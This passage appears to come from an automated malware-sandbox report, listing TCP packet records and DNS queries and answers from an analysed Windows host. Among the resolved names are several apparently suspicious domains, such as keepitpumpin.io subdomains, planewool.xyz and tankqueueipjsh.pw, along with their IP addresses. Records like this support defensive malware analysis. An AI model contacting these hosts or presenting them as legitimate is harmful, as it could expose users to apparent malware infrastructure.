Dec 6, 2023 14:52:15.106026888 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106035948 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106081963 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106153011 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106220961 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106236935 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106285095 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106323004 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106367111 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106405020 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106461048 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106473923 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106523991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106534958 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106638908 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106653929 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106693983 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106758118 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106810093 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106811047 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106854916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106908083 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.106956005 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.106971979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107044935 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107072115 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107084990 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107139111 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107170105 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107184887 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107207060 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107235909 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107280016 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107280970 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107325077 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107336044 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107382059 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107386112 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107441902 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107445955 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107495070 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107526064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107568979 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107568979 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107569933 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107595921 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107639074 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107642889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107688904 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107697964 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107741117 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107783079 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107832909 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107847929 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107876062 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107897997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.107940912 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.107978106 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108037949 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108057976 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108103037 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108127117 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108169079 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108169079 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108210087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108249903 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108297110 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108341932 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108386993 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108398914 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108443975 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108457088 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108500004 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108536959 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108578920 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108642101 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108690023 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108712912 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108756065 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108757019 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108814955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108836889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108881950 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108896971 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.108942986 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.108966112 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109024048 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109041929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109082937 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109091997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109134912 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109147072 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109190941 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109227896 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109272957 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109309912 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109358072 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109363079 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109401941 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109422922 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109476089 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109482050 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109528065 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109565973 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109608889 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109621048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109666109 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109821081 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109864950 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.109924078 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.109970093 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110008001 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110052109 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110061884 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110105038 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110126972 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110171080 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110173941 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110218048 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110239029 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110280991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110304117 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110344887 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110356092 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110404968 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110424042 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110467911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110490084 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110532045 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110569000 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110610962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110647917 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110692024 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110730886 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110769033 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110778093 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110810995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110826015 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110858917 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110867977 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110901117 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.110946894 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.110991001 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111011982 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111057043 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111078978 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111126900 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111196041 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111241102 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111279011 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111321926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111360073 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111402988 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111439943 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111483097 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111535072 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111578941 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111625910 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111669064 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111686945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111728907 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111766100 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111808062 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111845970 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111891031 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111912966 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.111955881 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.111993074 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112056017 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112066984 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112108946 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112145901 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112190962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112209082 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112255096 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112260103 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112303019 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112315893 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112360001 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112406015 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112448931 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112493038 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112536907 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112557888 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112605095 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112627029 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112668991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112708092 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.112752914 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.112817049 CET	80	49725	159.223.29.40	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2023 14:50:47.245604038 CET	192.168.2.5	1.1.1.1	0x798d	Standard query (0)	sparksteam.site	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:50:48.316284895 CET	192.168.2.5	1.1.1.1	0xcc01	Standard query (0)	sidemark.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:51:03.061697960 CET	192.168.2.5	1.1.1.1	0x59b	Standard query (0)	false.apparelsilver.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:51:04.138967991 CET	192.168.2.5	1.1.1.1	0x8515	Standard query (0)	www.agenment.cloud	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:11.019241095 CET	192.168.2.5	1.1.1.1	0x3e47	Standard query (0)	myptofgrtulo.info	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:11.471086025 CET	192.168.2.5	1.1.1.1	0xaf22	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:12.119625092 CET	192.168.2.5	1.1.1.1	0xa025	Standard query (0)	send.planewool.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.135082006 CET	192.168.2.5	1.1.1.1	0x433b	Standard query (0)	kapetownlink.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.817358971 CET	192.168.2.5	1.1.1.1	0x35d6	Standard query (0)	axsboe-campaign.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.817611933 CET	192.168.2.5	1.1.1.1	0x9bc7	Standard query (0)	axsboe-campaign.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:13.837287903 CET	192.168.2.5	1.1.1.1	0x9e68	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.837466002 CET	192.168.2.5	1.1.1.1	0x4260	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:13.838112116 CET	192.168.2.5	1.1.1.1	0xfe1f	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.838414907 CET	192.168.2.5	1.1.1.1	0xe4a4	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:15.598211050 CET	192.168.2.5	1.1.1.1	0x758a	Standard query (0)	aefd.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:15.598735094 CET	192.168.2.5	1.1.1.1	0xcd0a	Standard query (0)	aefd.nelreports.net	65	IN (0x0001)	false
Dec 6, 2023 14:52:18.296484947 CET	192.168.2.5	1.1.1.1	0x5184	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:18.296755075 CET	192.168.2.5	1.1.1.1	0xe9e3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:19.625871897 CET	192.168.2.5	1.1.1.1	0x8ed6	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:19.626961946 CET	192.168.2.5	1.1.1.1	0xa8c5	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:19.847559929 CET	192.168.2.5	1.1.1.1	0x7513	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:19.847795963 CET	192.168.2.5	1.1.1.1	0x9e29	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:20.256104946 CET	192.168.2.5	1.1.1.1	0x1e5e	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:20.256351948 CET	192.168.2.5	1.1.1.1	0x385d	Standard query (0)	www.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:21.031626940 CET	192.168.2.5	1.1.1.1	0x7d06	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:21.031810999 CET	192.168.2.5	1.1.1.1	0x8753	Standard query (0)	www.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:21.056427002 CET	192.168.2.5	1.1.1.1	0x2091	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:21.056670904 CET	192.168.2.5	1.1.1.1	0xae3c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 6, 2023 14:52:25.551394939 CET	192.168.2.5	1.1.1.1	0x96fb	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:25.551944017 CET	192.168.2.5	1.1.1.1	0x1a31	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:25.757327080 CET	192.168.2.5	1.1.1.1	0xef2f	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:25.757556915 CET	192.168.2.5	1.1.1.1	0x9a49	Standard query (0)	browser.events.data.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:25.963109970 CET	192.168.2.5	1.1.1.1	0xeae9	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:25.963356972 CET	192.168.2.5	1.1.1.1	0xd18a	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:27.674927950 CET	192.168.2.5	1.1.1.1	0xd62a	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:27.675107002 CET	192.168.2.5	1.1.1.1	0xded2	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:52:31.656455994 CET	192.168.2.5	1.1.1.1	0xaea0	Standard query (0)	ecn.dev.virtualearth.net	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:31.656790018 CET	192.168.2.5	1.1.1.1	0xf8be	Standard query (0)	ecn.dev.virtualearth.net	65	IN (0x0001)	false
Dec 6, 2023 14:52:32.351938009 CET	192.168.2.5	1.1.1.1	0x3ad4	Standard query (0)	pstbbk.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:32.361363888 CET	192.168.2.5	1.1.1.1	0xafe1	Standard query (0)	collect.installeranalytics.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:32.452419043 CET	192.168.2.5	1.1.1.1	0x7f33	Standard query (0)	ecn.dev.virtualearth.net	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:32.452588081 CET	192.168.2.5	1.1.1.1	0xc31c	Standard query (0)	ecn.dev.virtualearth.net	65	IN (0x0001)	false
Dec 6, 2023 14:52:33.479685068 CET	192.168.2.5	1.1.1.1	0x12d0	Standard query (0)	allroadslimit.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:35.192425013 CET	192.168.2.5	1.1.1.1	0x69cc	Standard query (0)	231005002055611.bcn.lca62.shop	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:35.701577902 CET	192.168.2.5	1.1.1.1	0xeebd	Standard query (0)	ambadevgroup.info	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:35.971566916 CET	192.168.2.5	1.1.1.1	0x3cbb	Standard query (0)	dl.likeasurfer.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:38.491693974 CET	192.168.2.5	1.1.1.1	0x331b	Standard query (0)	mysoftwareusa.info	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:52.443114996 CET	192.168.2.5	1.1.1.1	0xc20c	Standard query (0)	tankqueueipjsh.pw	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:54.200229883 CET	192.168.2.5	1.1.1.1	0x476a	Standard query (0)	110.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:54.443027973 CET	192.168.2.5	1.1.1.1	0xc394	Standard query (0)	111.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:54.772416115 CET	192.168.2.5	1.1.1.1	0xfb4e	Standard query (0)	112.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:54.988406897 CET	192.168.2.5	1.1.1.1	0x2928	Standard query (0)	113.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:55.117197990 CET	192.168.2.5	1.1.1.1	0x537b	Standard query (0)	114.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:55.205759048 CET	192.168.2.5	1.1.1.1	0xef4c	Standard query (0)	115.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:59.307820082 CET	192.168.2.5	1.1.1.1	0x14a0	Standard query (0)	110.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:59.567771912 CET	192.168.2.5	1.1.1.1	0xa1dc	Standard query (0)	111.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.129266977 CET	192.168.2.5	1.1.1.1	0x4710	Standard query (0)	112.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.192856073 CET	192.168.2.5	1.1.1.1	0x7fe8	Standard query (0)	113.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.203530073 CET	192.168.2.5	1.1.1.1	0x8eb2	Standard query (0)	115.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:02.210166931 CET	192.168.2.5	1.1.1.1	0x6a17	Standard query (0)	114.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:53:53.484878063 CET	192.168.2.5	1.1.1.1	0xc64a	Standard query (0)	m74b54.space	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2023 14:50:47.503981113 CET	1.1.1.1	192.168.2.5	0x798d	No error (0)	sparksteam.site		104.21.52.223	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:50:47.503981113 CET	1.1.1.1	192.168.2.5	0x798d	No error (0)	sparksteam.site		172.67.204.180	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:50:48.421811104 CET	1.1.1.1	192.168.2.5	0xcc01	No error (0)	sidemark.xyz		172.67.165.204	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:50:48.421811104 CET	1.1.1.1	192.168.2.5	0xcc01	No error (0)	sidemark.xyz		104.21.73.195	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:51:03.167031050 CET	1.1.1.1	192.168.2.5	0x59b	No error (0)	false.apparelsilver.xyz		104.21.13.66	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:51:03.167031050 CET	1.1.1.1	192.168.2.5	0x59b	No error (0)	false.apparelsilver.xyz		172.67.198.151	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:51:04.253377914 CET	1.1.1.1	192.168.2.5	0x8515	No error (0)	www.agenment.cloud		185.23.108.224	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:11.204879999 CET	1.1.1.1	192.168.2.5	0x3e47	No error (0)	myptofgrtulo.info		95.142.47.11	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:11.571279049 CET	1.1.1.1	192.168.2.5	0xaf22	No error (0)	geo.netsupportsoftware.com		62.172.138.67	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:11.571279049 CET	1.1.1.1	192.168.2.5	0xaf22	No error (0)	geo.netsupportsoftware.com		62.172.138.8	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:11.571279049 CET	1.1.1.1	192.168.2.5	0xaf22	No error (0)	geo.netsupportsoftware.com		51.142.119.24	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:12.225218058 CET	1.1.1.1	192.168.2.5	0xa025	No error (0)	send.planewool.xyz		172.67.157.197	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:12.225218058 CET	1.1.1.1	192.168.2.5	0xa025	No error (0)	send.planewool.xyz		104.21.90.147	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.234903097 CET	1.1.1.1	192.168.2.5	0x433b	No error (0)	kapetownlink.com		159.223.29.40	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.921313047 CET	1.1.1.1	192.168.2.5	0x9bc7	No error (0)	axsboe-campaign.com			65	IN (0x0001)	false
Dec 6, 2023 14:52:13.931917906 CET	1.1.1.1	192.168.2.5	0x9e68	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:52:13.931917906 CET	1.1.1.1	192.168.2.5	0x9e68	No error (0)	clients.l.google.com		142.251.16.101	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:52:13.931917906 CET	1.1.1.1	192.168.2.5	0x9e68	No error (0)	clients.l.google.com		142.251.16.100	A (IP address)	IN (0x0001)	false
